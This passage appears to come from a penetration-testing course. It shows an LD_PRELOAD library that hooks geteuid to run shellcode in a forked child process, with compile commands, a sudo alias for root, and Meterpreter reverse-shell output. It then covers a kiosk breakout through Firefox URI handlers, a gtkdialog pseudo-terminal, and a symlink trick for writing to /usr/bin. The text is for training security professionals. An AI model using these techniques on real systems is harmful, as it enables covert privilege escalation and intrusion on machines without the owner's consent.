Listing 64 - Defining the pointer to the old geteuid function

This provides us access to the original function so that we can call
it later on. This will allow us to retain the original functionality
of the program.

Next, we use the dlsym[585] function to get the memory address of
the original version of the geteuid function. The dlsym function
finds a symbol for a dynamic library in memory. When calling it, we
give it the name of the symbol we're trying to find (in this case
"geteuid"). This will return the next occurrence of "geteuid" in
memory outside of the current library. Calling this will skip our
version of the function and find the next one, which should be the
original version loaded by the program the user called.

        old_geteuid = dlsym(RTLD_NEXT, "geteuid");

Listing 65 - Defining the pointer to the old geteuid function

At this point, it's important to point out that if we keep our
original shared library code format, we are going to run into a
problem. If we use it as-is, when we run our target application, it
will stop and wait for our shell to return before continuing. This
means that the function will stall and the cp program will stall as
well. This will certainly raise suspicion.

Ideally, we want the program to return right away, but still run
our shell in the background. In order to do this, we need to create
a new process for our shell. We can do this using the fork[586]
method, which creates a new process by duplicating the parent process.
This line in the code determines whether or not the result of the
fork call is zero. If it is, we are running inside the newly created
child process, and can run our shell as we did with our earlier AV
bypass shell application. Otherwise, it will return the expected value
of geteuid to the original calling program so it can continue as
intended. The final two lines provide a meaningless return value in
case the code reaches that point, which realistically should never
happen.

       if (fork() == 0)
        {
                intptr_t pagesize = sysconf(_SC_PAGESIZE);
                if (mprotect((void *)(((intptr_t)buf) & ~(pagesize - 1)),
                 pagesize, PROT_READ|PROT_EXEC)) {
                        perror("mprotect");
                        return -1;
                }
                int (*ret)() = (int(*)())buf;
                ret();
        }
        else
        {
                printf("HACK: returning from function...\n");
                return (*old_geteuid)();
        }
        printf("HACK: Returning from main...\n");
        return -2;
}

Listing 66 - Forking the process to get a shell

The code within the fork branch checks that the shellcode resides
on an executable memory page before executing it. The reason for
this additional step is that the -f PIC compilation flag
relocates our shellcode to the library .data section in order to
make it position independent. Specifically, the code gets the size of
a memory page so it knows how much memory to access. It then changes
the page of memory that contains our shellcode and makes it executable
using mprotect. It does this by setting its access properties to
PROT_READ and PROT_EXEC, which makes our code readable and
executable. If changing the memory permissions fails, the program will
exit with a return code of "-1".

We'll save our code as evileuid.c and compile and link it as
we did in our previous examples.

offsec@linuxvictim:~$ gcc -Wall -fPIC -z execstack -c -o evil_geteuid.o evileuid.c

offsec@linuxvictim:~$ gcc -shared -o evil_geteuid.so evil_geteuid.o -ldl

Listing 67 - Compiling our library

Now that our library is compiled, let's do a test. After setting up
a Meterpreter listener for our shellcode, we'll run cp once
without our library and then once with the LD_PRELOAD environment
variable set, hooking the function call.

offsec@linuxvictim:~$ cp /etc/passwd /tmp/testpasswd

offsec@linuxvictim:~$ export LD_PRELOAD=/home/offsec/evil_geteuid.so

offsec@linuxvictim:~$ cp /etc/passwd /tmp/testpasswd
HACK: returning from function...

Listing 68 - Executing our payload

It worked! We find in our Metasploit listener that our shell
successfully connected.

msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.119.120:1337 
[*] Sending stage (3012516 bytes) to 192.168.120.46
[*] Meterpreter session 8 opened (192.168.119.120:1337 -> 192.168.120.46:58114) at 2020-07-28 16:58:40 -0400

meterpreter > getuid
Server username: no-user @ linuxvictim (uid=1000, gid=1000, euid=1000, egid=1000)

Listing 69 - Received a shell

This is a great step, but we're still executing as the offsec user.
We haven't elevated our privileges. Let's try that next.

Before continuing, we'll unset LD_PRELOAD which could have adverse
effects on other system actions we'll perform.

offsec@linuxvictim:~$ unset LD_PRELOAD

Listing 70 - Clearing LD_PRELOAD

Now that we've got it working, let's talk about privilege escalation
with this method.

As we mentioned previously, the dynamic linker ignores LD_PRELOAD
when the user's effective UID (EUID) does not match its real UID,
for example when running commands as sudo. We might be lucky and
have env_keep+=LD_PRELOAD set in /etc/sudoers, but
it's not likely. The env_keep setting specifically allows certain
environment variables to be passed into the sudo session when calls
are made. By default this is turned off.

We could try our previous approach of defining a sudo alias for the
user, but a quick test indicates that our code isn't executed. In this
case, we need to explicitly set LD_PRELOAD when calling sudo, which
we can do in the alias in .bashrc.

alias sudo="sudo LD_PRELOAD=/home/offsec/evil_geteuid.so"

Listing 71 - Setting the sudo alias

Note that if we were to execute this attack in the normal user's
context, we would want to set the environment variable in the user's
.bashrc or .bash_profile, similar to what we did
with LD_LIBRARY_PATH.

After reloading our .bashrc file as we did before with
source, we can run the cp command again.

offsec@linuxvictim:~$ sudo cp /etc/passwd /tmp/testpasswd
HACK: returning from function...

Listing 72 - Running our command with sudo

Next, we check our Metasploit console and find that we've received a
session as root.

msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.119.120:1337 
[*] Sending stage (3012516 bytes) to 192.168.120.46
[*] Meterpreter session 9 opened (192.168.119.120:1337 -> 192.168.120.46:39464) at 2020-07-29 11:16:07 -0400

meterpreter > getuid
Server username: no-user @ linuxvictim (uid=0, gid=0, euid=0, egid=0)

Listing 73 - Successfully received a root shell

Excellent! We've escalated privileges and our victim is completely
unaware.

As demonstrated, LD_PRELOAD can be an effective exploitation method
in certain scenarios.

Exercises

  1. Compile a malicious library file to hook the geteuid function.
    Load the library with LD_PRELOAD and get code execution using cp.
  2. Get a root shell using the above malicious library by creating a
    sudo alias.

Wrapping Up

Considering the significant Linux install base, security professionals
must understand the potential threats against these systems. In this
module, we've examined a subset of these potential attack vectors.

We discussed methods of exploiting user configuration files and
targeted VIM as a case study. We also discussed basic antivirus bypass
on Linux using Kaspersky Endpoint Security and the suite of antivirus
scanners represented at antiscan.me as targets. We then discussed
several approaches to shared library hijacking. These included the use
of the LD_LIBRARY_PATH environment variable and LD_PRELOAD.

This demonstrates that a working knowledge of the weaknesses that may
affect Linux systems can assist offensive security professionals in
conducting assessments against these and similar targets.

Kiosk Breakouts

Interactive kiosks[587] are computer systems that are generally
intended to be used by the public for tasks such as Internet browsing,
registration, or information retrieval. They are commonly installed
in the lobbies of corporate buildings, in airports and retail
establishments, and in various other locations.

As publicly-used systems, kiosks are designed with restrictive
interfaces and offer limited functionality which is designed to
prevent malicious behavior. However, these unattended systems are
generally connected to back-end systems or corporate networks and as
such can act as a platform for compromise.

Similarly, a thin client[588] provides a limited interface
to a powerful back-end system. This type of client may be physical,
such as a self-contained Wyse Client[589] or virtual, such
as the Citrix[590] virtual desktop.

The attack methodology used against kiosks and thin clients is
similar.

In this module, we'll focus on Porteus Kiosk[591] as a case
study in exploiting a locked-down kiosk in order to escape the
limited user experience and fully compromise the system. The kiosk
could then be used to explore and eventually compromise the back-end
network and connected systems.

Kiosk Enumeration

Since these interfaces are designed with limited functionality, it is
important to first enumerate what is available. During this
process, we will generally not have the luxury of using specialized
tools like those found on our Kali Linux machine. Instead, we will
be "living off the land", using (or misusing) tools already installed
on the system to gain ever-increasing access to the system and its
back-end networks.

There are several projects dedicated to enumerating useful
binaries for this purpose such as the Windows-based Living Off
The Land Binaries and Scripts
(LOLBAS) project[592] or the
Unix/Linux-based GTFOBins[593] project. These projects could
supplement the tactics we use in this module.

The most cost-effective approach to kiosk software design is
to simply apply a thin restrictive veneer over a standard operating
system. However, this is advantageous to an attacker since mainstream
operating systems prioritize the user experience, providing tools
and access needed by the typical user. This type of aftermarket kiosk
interface can be difficult to properly secure.

As we begin our exploration of the console, we must remember that in
a real situation, we would be physically interacting with the kiosk
through a touch screen, a mouse or trackpad, and in some cases,
a keyboard. However, for the purposes of this lab, we'll simulate
physical access to the kiosk with VNC. Since we'll rely on a variety
of keystroke combinations, we'll use XTigerVNCViewer[594]
which provides excellent keyboard shortcut support. We'll install this
with apt from our Kali terminal:

kali@kali:~$ sudo apt install tigervnc-viewer

Listing 1 - Installing the tigervnc
client

When the installation is complete, we can run it:

kali@kali:~$ xtigervncviewer

Listing 2 - Running the tigervnc client

Once the client is running, we can enter the IP address of the kiosk
VM and connect with the password "lab". To enter fullscreen view,
we'll press * to open the preferences menu and select Full
screen
. This will ensure that all of our keystrokes will be directed
to the kiosk.

Figure 1: VNC menu to set the full-screen option

Once connected, we're presented with the initial kiosk interface shown
in (Figure 2). This interface consists of a
limited functionality browser window:

Figure 2: Kiosk interface

Let's begin navigating the kiosk's displayed pages. In this case,
the only link is the "Contact us" email link which doesn't seem to do
anything when clicked.

Although this link didn't reveal much, in some situations a link like
this could reveal a vulnerable contact form, or may even launch an
email client. Regardless, it's best to thoroughly investigate the
kiosk app before leveraging more interesting techniques.

Now that we've navigated the various pages presented by the kiosk,
we'll attempt to "break out" of the expected user experience. The
first, and most obvious avenue is to use the right mouse button,
which, under normal circumstances, would present various submenus or
context menus we could explore. Unfortunately for us, right-clicking
is disabled, at least in this application. If we gain access to
another application, we may try this again, but for now, we'll move
on.

Next, we'll try various combinations of left, right, and
middle-clicking combined with B and C keys on
various items in the interface such as links or menu options. In this
case, these combinations don't seem to do much.

Taking another approach, we'll try to escape our maximized browser
session with built-in keyboard shortcuts.[595] For
example, we can use E+A to attempt to switch tasks,
and discover that Firefox is the only running application (Figure
3). This is unfortunate as task switching could
open other avenues of exploration.

Figure 3: Switching active applications using Alt-Tab

In order to be thorough, we'll attempt a variety of other keyboard
shortcut combinations.

Keyboard shortcut lists are available online for a variety of
operating systems including Windows[596]
and Linux window managers such as Gnome[597] and
KDE.[598]

Unfortunately, this kiosk doesn't seem to accept most keyboard
shortcuts. We'll need to try another approach.

Kiosk Browser Enumeration

At this point, since we only have access to Firefox, we'll carefully
explore the browser interface itself. In some instances, we may have
access to various menu items which would warrant careful exploration.
However, in this case, there are no menus to explore so we'll begin
exploring the various buttons (presented as icons) and other elements
of the user interface.

We can move backward and forward through the history with the arrow
keys, refresh the page, return home, zoom in and out and load a new
(blank) tab using the respective buttons.

Clicking and holding down on the back button can show the browser
history or any pages previously visited. However, in this case, there
is no saved history.

In addition to the available buttons, we can also interact with the
URL/address bar. By entering text into the URL bar, we are presented
with suggested links for keywords that we type. Unfortunately, trying
to click these results only displays an error page with a lock icon
indicating that the pages are not available.

We can also interact with the preferences icon (displayed
as a small gear shown in the suggestions bar (Figure
4). However, clicking this
icon simply opens about:preferences in a blank page, again
indicating that this functionality is restricted.

Figure 4: Browser suggestions and preferences icon

This development suggests another angle to consider. Many browsers
include keyword addresses which provide access to various
functionality. However, none of the various Firefox internal
keywords,[599] such as about:config, seem to work.

Figure 5: Firefox keywords result in a blank page

In this case, the only obvious way to interact with this kiosk is
through the address bar.

The kiosk's home page URL begins with "file://". This indicates that
content is stored locally in the kiosk's filesystem. Examining the
home page URL (file:///var/www/localhost/index.html) reveals
the home page path (file:///var/www/localhost/). Let's
remove index.html from the URL in an attempt to browse the
directory's contents. This presents a directory listing:

Figure 6: Viewing the parent folder contents

Unfortunately, this directory listing doesn't reveal much.

In some cases we may be able to leverage directory listings or error
messages caused by erroneous requests to gain information about the
server process hosting the pages.

Unfortunately, any attempt to browse higher-level directories or other
locations is denied, and we discover no meaningful information.

So far this kiosk implementation is rather formidable and doesn't
offer many obvious avenues for exploration. However, each kiosk offers
various challenges, so we'll move beyond the more obvious techniques
and press on with a focus on the address bar.

We already know that the browser renders HTML files and likely
accepts standard HTTP and HTTPS URLs. However, there are a variety
of protocols we can access with Uniform Resource Identifiers
(URIs).[600] For example, the kiosk's interface presents
locally-stored pages with the file:// URI. Let's explore
other URIs.

Several URI schemes, including chrome://, ftp://,
mailto:, smb:// and others are blocked by the web
filtering mechanism and our lack of external Internet access.

However, the irc:// URI, which uses the irc
protocol[601] to connect to text-based Internet Relay Chat
(IRC)[602] servers, presents an interesting dialog as shown in
(Figure 7):

Figure 7: Launching an external application using the irc protocol

This dialog prompts for an application to handle the protocol. This
is a significant breakthrough which represents the first crack in this
kiosk's defenses.

Exercises

  1. What additional information can be discovered about the kiosk? What
    type of OS is it running?
  2. Examine the kiosk interface and try different Firefox-specific
    "about:" keywords and other inputs in the address bar to see what
    feedback the kiosk interface provides and what information can be
    gathered.

Command Execution

Now that we have a potential bypass of the kiosk's restrictions,
we can use this dialog box to browse the filesystem. However, we
must not select Remember my choice for... which will prevent
us from being able to choose new programs in the future (Figure
8):

Figure 8: Ensure the "Remember my choice for..." option is unchecked

Exploring the Filesystem

When we Select Choose..., the kiosk presents a common file browser
interface. We'll first click on Home in the left pane:

Figure 9: Firefox's Launch Application file explorer

This directory is named guest, revealing that our current
username is guest. This is the account the kiosk software is running
as.

Now that we have another interface at our disposal, we will attempt
various keystroke combinations and attempt to right-click on the
interface and the various icons. Unfortunately this doesn't produce
any results.

In some restricted interfaces, it is possible to right-click
or middle-click to open a file explorer or create shortcuts to
applications which we could then run.

The Home menu option seems to be empty and we can't select the
Desktop menu item. However, we can browse the filesystem by clicking
Other Locations in the left pane and then Computer in the right
pane as shown in Figure 10:

Figure 10: Browsing the "Other Locations" option in the launch dialog

This presents the kiosk's top-level directory:

Figure 11: Linux filesystem on the kiosk

The naming convention of the root filesystem confirms what we
certainly guessed by now: this is a Unix or Linux-based system.
At this point, we will peruse the filesystem in search of a
program to run when the browser encounters an irc://
URI. We'll search a variety of folders that often contain
Linux binaries,[603] including /bin,
/usr/bin, /usr/share, /sbin,
/usr/sbin, /opt and /usr/local.

For example, /bin/bash, the Linux Bash shell, is a tempting
choice, but when we select it as our application to launch, then
click the Open Link button to open our link with it, nothing
happens and we're returned to our browser interface. In order
to try another application, we'll need to repeat the process of
entering irc://myhost into the URL bar and selecting a new
application.

Figure 12: Attempting to run /bin/bash

Since this is a command-line program, it won't work in our graphical
environment. Instead, we should use a common graphical terminal
emulator[604] such as xterm, gnome-terminal or konsole.
Since terminal emulators present an obvious security risk, they are
often removed from kiosk builds, and as expected, there are none
installed on this system. This could severely limit our ability to
interact with the shell.

However, there are a number of other programs that may be helpful,
including /bin/busybox[605] which combines common
Linux/Unix utilities into a single binary. This could come in handy
later on.

Figure 13: /bin folder

In addition, /usr/bin/dunstify[606] displays quick
pop-up messages that disappear after a short period of time. Let's
select this program to determine if Firefox will load it.

We'll select dunstify in the Launch Application
dialog box and allow it to run:

Figure 14: Displaying a message with dunstify

This created a simple drop-down notification that simply reads
"irc://myhost". This is important for two reasons. First, there does
not appear to be a protection mechanism in place that blocks external
applications. Second, we have discovered that the URI ("irc://myhost")
was passed as an argument to dunstify on the command line. We can
safely assume that Firefox ran a command similar to:

dunstify irc://myhost

Listing 3 - Dunstify command line call from Firefox

This could explain our earlier difficulty running applications. If
they are being run with a first parameter of irc://myhost and
the program doesn't accept that as valid, our attempt will fail. We
can test this with various applications in /bin on our Kali
Linux command line. For example, let's test /bin/bash with
this argument:

kali@kali:~$ /bin/bash irc://myhost
/bin/bash: irc://myhost: No such file or directory
kali@kali:~$

Listing 4 - irc command as first
parameter failing in Kali

Because of the invalid argument, /bin/bash returns an error
and does not run properly.

We could get around this with /usr/bin/env, which we can use to set
the first parameter as an environment variable and cancel out the
first parameter when calling our target program. The syntax would be
similar to:

/usr/bin/env irc://myhost=something /bin/bash

Listing 5 - Negating the first parameter
using env

This would create an environment variable named "irc://myhost" with a
value of "something" and then run /bin/bash. If we test this
on Kali, it works fine, but when run on the kiosk through Firefox,
it fails (Figure 15). As with our attempt
at running Bash, this is likely due to the lack of terminal emulator
programs on the system.

Figure 15: /usr/bin/env attempt

Although we could spend a great deal more time experimenting with
various system programs, we should take a step back at this point
and remember that one program in particular, Firefox, runs perfectly
fine on this kiosk and accepts parameters. We could use this to our
advantage.

As documented,[607] the first parameter to Firefox is a URL (or
URI). Knowing that Firefox accepts irc://myhost as a valid
URI, we could launch Firefox itself with that parameter. However, that
doesn't seem like a step forward until we consider Firefox's other
command-line parameters.

Leveraging Firefox Profiles

As we already know, Firefox is running in a restricted mode likely
set in a specially-configured profile. We may be able to break out of
these restrictions by loading a different profile configuration.

According to the documentation, the command-line argument for
specifying a new profile is -P "profilename". We'll try this
out with a new URI (irc://myhost -P "haxor") and select
/usr/bin/firefox as the application to run in the Launch
Application
dialog (Figure 16).

Figure 16: Running Firefox from Firefox with a specific profile

This launches a new Firefox instance which presents us with the Firefox profile manager:
(Figure 17):

Figure 17: Firefox Profile Manager

From here, we can create our own profile, in this case named
"haxor" (Figure 18):

Figure 18: Creating the new Firefox profile

Once our profile is created, Firefox opens a new window and again
displays the Launch Application dialog box, which we can dismiss.
This instance of Firefox presents a new set of menus:

Figure 19: Firefox is unrestricted and previously unavailable menu icons are now available

We have broken out of the restricted instance of Firefox. Very nice.
We're making progress.

Enumerating System Information

At this stage, if the kiosk were Internet-connected, we would have
a host of options available to us. With an unrestricted browser, we
could install add-on components such as terminal emulators or file
browsers. We could connect to online tools such as text editors,
which could help us write local files. In fact, we could even
leverage highly-specialized kiosk pentesting tools like iKAT.[608]
(
Warning: the iKat website may contain content that is not safe
for work.
)

However, since we do not have Internet connectivity, we will
instead begin with some basic read-only enumeration using the
file:/// URI.

We'll begin with the /etc/passwd file which reveals valuable
information (Figure 20):

Figure 20: Viewing /etc/passwd

Based on the login shell (the final column of each line), there are
only three valid login users: root, operator, and guest. Root and
operator share the same home folder, so operator is likely a utility
account of some sort, perhaps for remote management. Guest is the
user the kiosk interface is currently running under, which we know is
limited.

Moving on, the version file at file:///proc/version
reports that the system is running a fairly recent kernel
version,[609] which means direct kernel exploitation may be
difficult:

Figure 21: /proc/version file contents

Next, an examination of the guest user's home folder reveals that
there are no SSH private keys:

Figure 22: No private keys in guest user's home folder

However, even if we did find keys, we could not leverage them without
access to a terminal application or graphical SSH client.

Since our read-only exploration is returning few results,
we'll move in a new direction leveraging our unlocked browser
profile. Let's select the Show Downloads Folder option in an
attempt to gain access to some sort of file explorer (Figure
23):

Figure 23: Attempting to view downloads folder

This presents another Launch Application dialog box, indicating
that a desktop file browser utility isn't available. A search for a
suitable program yields no results.

Since we have access to neither a terminal application nor a file
browser, we are severely limited in our ability to interact with the
underlying operating system.

However, Firefox includes various Web Developer tools that could be
useful, each located under the "hamburger" menu:

Figure 24: Hamburger menu and Web Developer menu options

Logins and Passwords, although enticing, is unfortunately
empty. Many of these tools could be useful, but we'll begin with
Scratchpad:[610]

Figure 25: Scratchpad utility in Firefox

Scratching the Surface

Scratchpad is a built-in text editor intended for
running and debugging JavaScript, but can also load and save plain-text files.

Scratchpad is now deprecated, but is still included in the kiosk's
version of Firefox.

For example, we can use Scratchpad to save a mytest.txt file
to our home directory. Browsing that location in Firefox indicates
that the file creation was successful:

Figure 26: File written successfully with Scratchpad

This is all well and good, but it seems we are still limited to
running programs through the irc://myhost method, which
severely limits our abilities.

However, one application in particular,
/usr/bin/gtkdialog,[611] may be useful in this
situation. A quick Google search reveals that this application
builds interfaces with an HTML-style markup language. This could be
especially useful since this machine doesn't seem to have any other
build tools such as gcc or g++.

We can load build scripts with the -f
parameter.[612]

Let's build a simple initial dialog box[613] for testing:

<window>
  <vbox>
    <frame Description>
      <text>
        <label>This is an example window.</label>
            </text>
        </frame>
        <hbox>
            <button ok>
            <action>echo "testing gtk" > /tmp/gtkoutput.txt</action>
            </button>
            <button cancel></button>
        </hbox>
    </vbox>
</window>

Listing 6 - Test window markup code

Note that when typing a left angled bracket character, the kiosk
replaces it with a right angled bracket character. We can open the
splash page HTML file at /var/www/localhost/index.html and
copy the left angle bracket character and paste into this document to
be used when we need it.

We'll briefly walk through this example. An interface is represented
by a combination of tags that define its various parts. A window
tag represents the main window, and anything between the tags is
considered a sub-component of the window. A vbox element is a
vertical box that holds other elements. An hbox is a horizontal
box. A frame acts as a simple container for elements such as text
or graphics. Text elements display text and label elements specify
the actual text strings being placed in the text element. Button
objects allow the user to trigger an action such as a shell or other
executable command.

In the example above, when we click the button, our echo command will
be executed and the output written to a file via the Linux redirect
operator (>).

For further reference, consult the extensive list of
gtkdialog elements on the GtkDialog Google Code Archive page.
[614]

Using Scratchpad, we'll save our sample dialog box code to
the guest user's home folder as mywindow, making sure
to change the pulldown in the bottom right corner of the save
dialog from "JavaScript Files" to "All Files" as shown in Figure
27:

Figure 27: Saving sample dialog and changing file type

Now, let's run our sample dialog window with the following URI:

irc://myhost -f /home/guest/mywindow

Listing 7 - Running the sample dialog from Firefox

This again presents the "Launch Application" dialog, where we'll
select gtkdialog as our helper application:

Figure 28: Running our sample GTK dialog with Firefox

This produces a window titled "gtkdialog":

Figure 29: Our sample GtkDialog window

Nothing appears to happen when we click the OK button, but if we
browse to file:///tmp/gtkoutput.txt in a new Firefox tab,
we'll find that the action triggered and wrote our text to the output
file. This means we have command execution on the system and we are
no longer restricted by the initial irc://myhost parameter
issue. Very nice.

This is a great start, but it's an awkward solution. For every command
we want to execute, we must edit a file, save it, relaunch our gtkdialog
application, click the button, and then browse to the result through
Firefox. In the next section, we'll Try Harder.

Exercises

  1. Browse around the filesystem using the "Launch Application"
    dialog and gather as much useful information about the system as
    possible.
  2. Try out various programs via the "Launch Application" dialog. Which
    ones seem useful for information gathering or potential exploitation
    when launched from Firefox?

Extra Mile

Find a way to write user-provided text to a file on the file system
without Scratchpad. One potential option might include the JavaScript
console.

Post-Exploitation

At this point, we have compromised the kiosk, although we are
still running as a limited user and our command input method is
inconvenient. Although our gtkdialog trick was useful, running
commands and receiving instant feedback would be much more preferable.
Although we have no build tools, no Internet access, and the system
has no terminal applications, we may be able to better leverage
gtkdialog by building our own custom terminal.

Surprisingly, there is an actual terminal[615]
element for gtkdialog. Sadly, it produces the following message:

The terminal (VteTerminal) widget requires a version of gtkdialog built with libvte.

Listing 8 - Missing libraries for
"terminal" element

The version of gtkdialog on the kiosk is missing critical libraries
used for terminal emulation, so this won't work.

We'll have to find another way. The terminal must have the
ability to accept input and produce output. There are many good
examples of complex interfaces created in gtkdialog with input
and output capability.[616] The entry[617] and
edit[618] elements allow user input into a single-line text
box or large text field, respectively, and both can produce output.
The text element, which displays static text, can produce output as
well.

Let's use these, and other elements, to build our interactive shell.

Simulating an Interactive Shell

Many elements in gtkdialog accept an input file[619]
sub-element. If we provide a text, entry, or edit element with
an input file, it will autopopulate the element's text with the
file's contents. However, this happens when the element is initially
created, so we must use a refresh action to update the text after
our command has run. In order to do this, we must store our text in
variable elements. Specifically, we'll associate a variable with
a particular element by putting the variable tag inside the opening
and closing tags of the element. If we do this for an element that
displays text and gets its input from a file, and then execute a
refresh action on the variable, the text-displaying element will
refresh its content from the current version of the file.

Similarly, if we use an element that accepts text input from the
user and embed a variable tag within it, the element will store the
content of the text input in the variable. We can then reference these
variables using Bash-style variable substitution[620] in
our button actions.

Combining all of this, we can write a functional pseudo-terminal
interface. We'll need a command input box that will store the command
the user enters in a variable. We'll also need an edit element that
will display the output of the commands, which by design will also
allow copy and paste operations. This element will be populated by an
input file, which will contain the results of the command output.
We'll then use a button element that will take the shell command
variable from the entry box, run it via an action, and write the
results to the command output file. A second action embedded in
the button will then refresh the edit element's embedded variable
object. This will trigger the display content in the edit box to
refresh, giving the illusion of a dynamic terminal window.

This code is shown in Listing 9.

<window>
  <vbox>
    <vbox scrollable="true" width="500" height="400">
        <edit>
          <variable>CMDOUTPUT</variable>
          <input file>/tmp/termout.txt</input>
        </edit>
    </vbox>
    <hbox>
      <text><label>Command:</label></text>
      <entry><variable>CMDTORUN</variable></entry>
      <button>
          <label>Run!</label>  
          <action>$CMDTORUN > /tmp/termout.txt</action>
          <action>refresh:CMDOUTPUT</action>  
      </button>
    </hbox>
  </vbox>
</window>

Listing 9 - Terminal window markup code

We'll save our terminal window markup as
/home/guest/terminal.txt and then run it as we did the
previous gtkdialog example.

When we enter commands into our text element and click Run!, the
output of the command is displayed as if we had entered it from a
standard terminal window:

Figure 30: Our homemade terminal

This is a very effective solution given the limitations of this kiosk,
and demonstrates the potential effectiveness of "living off the land"
with native tools.

Exercises

  1. Improve the terminal, making it more effective or more reliable.
    Integrate standard error output.
  2. Explore the other widgets and elements of gtkdialog. What other
    useful features can be created with it that might be useful for
    interacting with the system?

Extra Mile

Experiment with creating simple applications with gtkdialog to
streamline the exploitation process. One potential project is a text
editor based on our terminal application.

Privilege Escalation

Now that we have developed an efficient way of interacting with the
system, we should focus our attention on escalating our privileges to
gain root access. Unfortunately, without build tools or the ability
to transfer files (because we're simulating a disconnected physical
kiosk), this may prove to be difficult.

One approach is to leverage the Basic Linux Privilege Escalation
techniques outlined by g0tmi1k.[621] In this document, the author
lists several commands we can use for enumeration, including a find
command (find / -perm -u=s -exec ls -al {} +) that locates
suid binaries:

-r-sr-xr-x    1 root     root        101787 Sep  7 12:19 /opt/Citrix/ICAClient/ctxusb
-rws--x--x    1 root     bin        1560160 Jul 13  2017 /usr/bin/xlock
-rws--x--x    1 root     root        396000 Sep 14 13:24 /usr/lib64/misc/ssh-keysign
-rws--x--x    1 root     root         67128 Dec 29  2016 /usr/sbin/mtr
-r-s--x--x    1 root     root        339544 Mar 29  2019 /usr/sbin/pppd/root

Listing 10 - SUID binaries

Upon further examination, only /usr/sbin/mtr and
/usr/bin/xlock have recent vulnerabilities. However, none of
those vulnerabilities affect our specific versions.

It would be difficult and time-consuming to exploit these binaries
without debugging tools so we'll try another approach.

The ps aux command lists all running processes:

PID   USER     TIME   COMMAND
 1    root       0:03 init [4]
 2    root       0:00 [kthreadd]
 ...
 1083 root       0:00 /usr/sbin/acpid -n
 1120 root       0:00 {xdm} /bin/sh /usr/bin/xdm
 1123 root       0:00 -bash -c /usr/bin/startx -- -nolisten tcp vt7 > /dev/null 2>&1
 1138 root       0:00 {startx} /bin/sh /usr/bin/startx -- -nolisten tcp vt7
 1186 root       0:00 xinit /etc/X11/xinit/xinitrc -- /usr/bin/X :0 -nolisten tcp vt7 -auth /root/.serverauth.1138
 1187 root       0:14 /usr/bin/X :0 -nolisten tcp vt7 -auth /root/.serverauth.1138
 1193 root       0:00 {xinitrc} /bin/sh /etc/X11/xinit/xinitrc
 1196 root       0:01 /usr/bin/openbox --startup /usr/libexec/openbox-autostart OPENBOX
 1199 root       0:00 dbus-launch --exit-with-session /usr/bin/openbox-session
 1200 root       0:00 /usr/bin/dbus-daemon --syslog --fork --print-pid 5 --print-address 7 --session
 1344 root       0:00 x11vnc -rfbauth /root/.vnc/passwd -auth /root/.serverauth.1138 -display :0 -nomodtweak -noxdamage -shared -forever -loop5000 -bg
 ...
23310 guest      0:00 ps aux | grep root

Listing 11 - Finding root-owned processes

Based on this output, it seems the kiosk is running a number
of root processes which we may be able to use to escalate our
privileges. One of these processes is "openbox",[622] the
X window manager used by the kiosk's custom interface.

This finding warrants further investigation.

Thinking Outside the Box

Openbox supports a command-line option (--replace) which will
replace the currently running window manager instance:

Syntax: openbox [options]

Options:
  --help              Display this help and exit
  --version           Display the version and exit
  --replace           Replace the currently running window manager
  --config-file FILE  Specify the path to the config file to use
  --sm-disable        Disable connection to the session manager

Passing messages to a running Openbox instance:
  --reconfigure       Reload Openbox's configuration
  --restart           Restart Openbox
  --exit              Exit Openbox

Debugging options:
  --sync              Run in synchronous mode
  --startup CMD       Run CMD after starting
  --debug             Display debugging output
  --debug-focus       Display debugging output for focus handling
  --debug-session     Display debugging output for session management
  --debug-xinerama    Split the display into fake xinerama screens

Please report bugs at http://bugzilla.icculus.org

Listing 12 - Openbox help output

If we run the following command in our custom terminal, the current X
windows session is stopped and restarted:

openbox --replace

Listing 13 - Command to kill the X windows session

This kills all currently-running graphical programs including our VNC
connection. However, the kiosk system itself is not restarted, which
means we won't lose changes made since the last reboot. This is very
interesting. We seem to have reloaded openbox, which was started by
root, even though we requested the restart as the guest user.

This certainly warrants further investigation.

We know that as the guest user, we should have control over
the files in our home folder. Our current kiosk interface is
the Firefox browser which stores the user's profile folder in
/home/guest/.mozilla/firefox/c3pp43bg.default.

When we edit files in this folder and force an openbox restart,
openbox recreates the Firefox bookmark configuration file
(/home/guest/.mozilla/firefox/c3pp43bg.default/bookmarks.html)
each time it restarts. We can demonstrate this with a simple test.

This file contains the default bookmarks including the kiosk's main
page address:

Figure 31: Bookmarks.html file contents

If we delete this file and again run openbox --replace, the
bookmark file is recreated:

Figure 32: Bookmarks file automatically rebuilt

This tells us that the kiosk software is rebuilding the bookmarks file
every time the X session restarts. According to the permissions on the
file, it is owned by the guest user. However, it stands to reason that
the kiosk operates at a higher privilege level, so a second simple
test may be in order.

Since the kiosk is configured to write the bookmarks file in the
c3pp43bg.default folder, let's replace that folder with a
symlink[623] in an attempt to force the kiosk to write the
bookmarks file to a different location. If the underlying kiosk
refresh script raises privileges, we may be able to redirect it to
write in a privileged directory.

Before we test this, let's backup our profile folder:

mv /home/guest/.mozilla/firefox/c3pp43bg.default /home/guest/.mozilla/firefox/old_prof

Listing 14 - Backing up the old profile folder

Next, we'll create a symlink to /usr/bin, a folder the guest
user can not normally write to.

ln -s /usr/bin /home/guest/.mozilla/firefox/c3pp43bg.default

Listing 15 - Creating a softlink

The symlink looks like this:

Figure 33: Soft link created

Now that the symlink is created, let's run openbox --replace
to attempt to regenerate bookmarks.html.

Once reconnected to the kiosk, we find that the bookmarks
file has been written to /usr/bin, indicating
that the process creating it is in fact privileged (Figure
34):

Figure 34: Bookmarks.html written in /usr/bin

This is a huge breakthrough. We can write files to privileged
directories!

However, in order to escalate our privileges, we need to make the
file executable and we must write executable commands to the file. We
own the file, so let's try to make it executable with chmod.
If we check the file's permissions, we find that the permissions have
changed.

Figure 35: Bookmarks.html made executable

This is promising. We can modify the file after creation. However,
despite the fact that the we own the file, we are not able to rename
it. This is dictated by the permissions of the containing folder.

Now, we need to add executable instructions to the file. Our previous
method of text editing, ScratchPad, won't allow us to save changes to
the file:

Figure 36: ScratchPad fails trying to save to bookmarks.html

This is likely due to the permissions on the parent folder.

Ordinarily, we could use a command-line editor, but since our
makeshift gtkdialog terminal is non-interactive, this won't work.
We could also consider using a graphical editor, but there are no
graphical editors installed on the system.

We might also consider building the file one line at a time
with echo commands and standard bash redirects. However, our
gtkdialog terminal uses a bash redirect when processing our command
($CMDTORUN > /tmp/termout.txt). If our
terminal command contains another redirect, it would be canceled out
by the redirect to /tmp/termout.txt.

To get around this, we'll use Scratchpad to create
